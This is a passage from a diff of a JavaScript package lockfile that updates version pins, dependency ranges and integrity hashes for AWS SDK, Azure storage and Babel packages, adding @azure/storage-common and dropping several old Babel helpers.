"@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dVyItwu/J1InfJBbCPpHRV9jrsBfI7L0RlDGyS3x/xqBwnm5qpvgNZQasQiyqIl+WJB4f5rZRZHgHuwftqINbA=="], - "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-0RPCo8fYJcrenJ6bRtiUbFOSgQ1CX/GpvwtLU2Fam1tS9h2klKK8d74caeV6A1mIUvBU7bhyQ0wMGlwMtn3EYw=="], + "@aws-sdk/signature-v4-multi-region": ["@aws-sdk/signature-v4-multi-region@3.996.6", "", { "dependencies": { "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/types": "^3.973.5", "@smithy/protocol-http": "^5.3.11", "@smithy/signature-v4": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-NnsOQsVmJXy4+IdPFUjRCWPn9qNH1TzS/f7MiWgXeoHs903tJpAWQWQtoFvLccyPoBgomKP9L89RRr2YsT/L0g=="], - "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-IpQVC9WOeXQlCEcFVNXWDIKy92CH1Az37u9K0H3DF/HT56AjhyDVKQQfHUy00nt7bHFe3u0K5+zlwErBeKy5ZA=="], + "@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1004.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA=="], - "@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="], + "@aws-sdk/types": ["@aws-sdk/types@3.973.5", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-hl7BGwDCWsjH8NkZfx+HgS7H2LyM2lTMAI7ba9c8O0KqdBLTdNJivsHpqjg9rNlAlPyREb6DeDRXUl0s8uFdmQ=="], - "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="], + "@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.972.3", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA=="], - "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.743.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "@smithy/util-endpoints": "^3.0.1", "tslib": "^2.6.2" } }, "sha512-sN1l559zrixeh5x+pttrnd0A3+r34r0tmPkJ/eaaMaAzXqsmKU/xYre9K3FNnsSS1J1k4PEfk/nHDTVUgFYjnw=="], + "@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.996.4", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-endpoints": "^3.3.2", "tslib": "^2.6.2" } }, "sha512-Hek90FBmd4joCFj+Vc98KLJh73Zqj3s2W56gjAcTkrNLMDI5nIFkG9YpfcJiVI1YlE2Ne1uOQNe+IgQ/Vz2XRA=="], "@aws-sdk/util-format-url": ["@aws-sdk/util-format-url@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-TxZMVm8V4aR/QkW9/NhujvYpPZjUYqzLwSge5imKZbWFR806NP7RMwc5ilVuHF/bMOln/cVHkl42kATElWBvNw=="], "@aws-sdk/util-locate-window": ["@aws-sdk/util-locate-window@3.568.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-3nh4TINkXYr+H41QaPelCceEB2FXP3fxp93YZXB/kqJvX0U9j0N0Uk45gvsjmEPzG8XxkPEeLIfT2I1M7A6Lig=="], - "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.734.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-xQTCus6Q9LwUuALW+S76OL0jcWtMOVu14q+GoLnWPUM7QeUw963oQcLhF7oq0CtaLLKyl4GOUfcwc773Zmwwng=="], + "@aws-sdk/util-user-agent-browser": ["@aws-sdk/util-user-agent-browser@3.972.7", "", { "dependencies": { "@aws-sdk/types": "^3.973.5", "@smithy/types": "^4.13.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-7SJVuvhKhMF/BkNS1n0QAJYgvEwYbK2QLKBrzDiwQGiTRU6Yf1f3nehTzm/l21xdAOtWSfp2uWSddPnP2ZtsVw=="], - "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.758.0", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/types": "3.734.0", "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-A5EZw85V6WhoKMV2hbuFRvb9NPlxEErb4HPO6/SPXYY4QrjprIzScHxikqcWv1w4J3apB1wto9LPU3IMsYtfrw=="], + "@aws-sdk/util-user-agent-node": ["@aws-sdk/util-user-agent-node@3.973.4", "", { "dependencies": { "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/types": "^3.973.5", "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" }, "peerDependencies": { "aws-crt": ">=1.0.0" }, "optionalPeers": ["aws-crt"] }, "sha512-uqKeLqZ9D3nQjH7HGIERNXK9qnSpUK08l4MlJ5/NZqSSdeJsVANYp437EM9sEzwU28c2xfj2V6qlkqzsgtKs6Q=="], - "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Zrjxi5qwGEcUsJ0ru7fRtW74WcTS0rbLcehoFB+rN1GRi2hbLcFaYs4PwVA5diLeAJH0gszv3x4Hr/S87MfbKQ=="], + "@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.972.10", "", { "dependencies": { "@smithy/types": "^4.13.0", "fast-xml-parser": "5.4.1", "tslib": "^2.6.2" } }, "sha512-OnejAIVD+CxzyAUrVic7lG+3QRltyja9LoNqCE/1YVs8ichoTbJlVSaZ9iSMcnHLyzrSNtvaOGjSDRP+d/ouFA=="], "@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.2.2", "", {}, "sha512-C0NBLsIqzDIae8HFw9YIrIBsbc0xTiOtt7fAukGPnqQ/+zZNaq+4jhuccltK0QuWHBnNm/a6kLIRA6GFiM10eg=="], @@ -647,7 +679,9 @@ "@azure/search-documents": ["@azure/search-documents@12.0.0", "", { "dependencies": { "@azure/core-auth": "^1.3.0", "@azure/core-client": "^1.3.0", "@azure/core-http-compat": "^2.0.1", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.3.0", "@azure/core-tracing": "^1.0.0", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-d9d53f2WWBpLHifk+LVn+AG52zuXvjgxJAdaH6kuT2qwrO1natcigtTgBM8qrI3iDYaDXsQhJSIMEgg9WKSoWA=="], - "@azure/storage-blob": ["@azure/storage-blob@12.27.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.4.0", "@azure/core-client": "^1.6.2", "@azure/core-http-compat": "^2.0.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.1.1", "@azure/core-rest-pipeline": "^1.10.1", "@azure/core-tracing": "^1.1.2", "@azure/core-util": "^1.6.1", "@azure/core-xml": "^1.4.3", "@azure/logger": "^1.0.0", "events": "^3.0.0", "tslib": "^2.2.0" } }, "sha512-IQjj9RIzAKatmNca3D6bT0qJ+Pkox1WZGOg2esJF2YLHb45pQKOwGPIAV+w3rfgkj7zV3RMxpn/c6iftzSOZJQ=="], + "@azure/storage-blob": ["@azure/storage-blob@12.31.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-client": "^1.9.3", "@azure/core-http-compat": "^2.2.0", "@azure/core-lro": "^2.2.0", "@azure/core-paging": "^1.6.2", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/core-xml": "^1.4.5", "@azure/logger": "^1.1.4", "@azure/storage-common": "^12.3.0", "events": "^3.0.0", "tslib": "^2.8.1" } }, "sha512-DBgNv10aCSxopt92DkTDD0o9xScXeBqPKGmR50FPZQaEcH4JLQ+GEOGEDv19V5BMkB7kxr+m4h6il/cCDPvmHg=="], + + "@azure/storage-common": ["@azure/storage-common@12.3.0", "", { "dependencies": { "@azure/abort-controller": "^2.1.2", "@azure/core-auth": "^1.9.0", "@azure/core-http-compat": "^2.2.0", "@azure/core-rest-pipeline": "^1.19.1", "@azure/core-tracing": "^1.2.0", "@azure/core-util": "^1.11.0", "@azure/logger": "^1.1.4", "events": "^3.3.0", "tslib": "^2.8.1" } }, "sha512-/OFHhy86aG5Pe8dP5tsp+BuJ25JOAl9yaMU3WZbkeoiFMHFtJ7tu5ili7qEdBXNW9G5lDB19trwyI6V49F/8iQ=="], "@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], @@ -657,45 +691,33 @@ "@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="], - "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="], - - "@babel/helper-builder-binary-assignment-operator-visitor": ["@babel/helper-builder-binary-assignment-operator-visitor@7.22.15", "", { "dependencies": { "@babel/types": "^7.22.15" } }, "sha512-QkBXwGgaoC2GtGZRoma6kv7Szfv06khvhFav67ZExau2RaXzy8MpHSMO2PNoP2XtmQphJQRHFfg77Bq731Yizw=="], + "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="], - "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.26.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/helper-replace-supers": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/traverse": "^7.26.9", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg=="], + "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], "@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.26.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "regexpu-core": "^6.2.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong=="], - "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.3", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg=="], - - "@babel/helper-environment-visitor": ["@babel/helper-environment-visitor@7.22.20", "", {}, "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA=="], - - "@babel/helper-function-name": ["@babel/helper-function-name@7.23.0", "", { "dependencies": { "@babel/template": "^7.22.15", "@babel/types": "^7.23.0" } }, "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw=="], + "@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], "@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="], - "@babel/helper-hoist-variables": ["@babel/helper-hoist-variables@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw=="], - - "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ=="], + "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], "@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="], "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="], - "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ=="], + "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], "@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.27.1", "", {}, "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw=="], - "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-wrap-function": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw=="], + "@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.26.5", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.25.9", "@babel/helper-optimise-call-expression": "^7.25.9", "@babel/traverse": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg=="], + "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - "@babel/helper-simple-access": ["@babel/helper-simple-access@7.24.7", "", { "dependencies": { "@babel/traverse": "^7.24.7", "@babel/types": "^7.24.7" } }, "sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg=="], - - "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.25.9", "", { "dependencies": { "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA=="], - - "@babel/helper-split-export-declaration": ["@babel/helper-split-export-declaration@7.22.6", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g=="], + "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], "@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="], @@ -703,21 +725,21 @@ "@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="], - "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.25.9", "", { "dependencies": { "@babel/template": "^7.25.9", "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g=="], + "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], "@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="], "@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], - "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g=="], + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="], - "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw=="], + "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="], - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug=="], + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="], - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g=="], + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="], - "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg=="], + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="], "@babel/plugin-proposal-private-property-in-object": ["@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2", "", { "peerDependencies": { "@babel/core": "^7.0.0-0" } }, 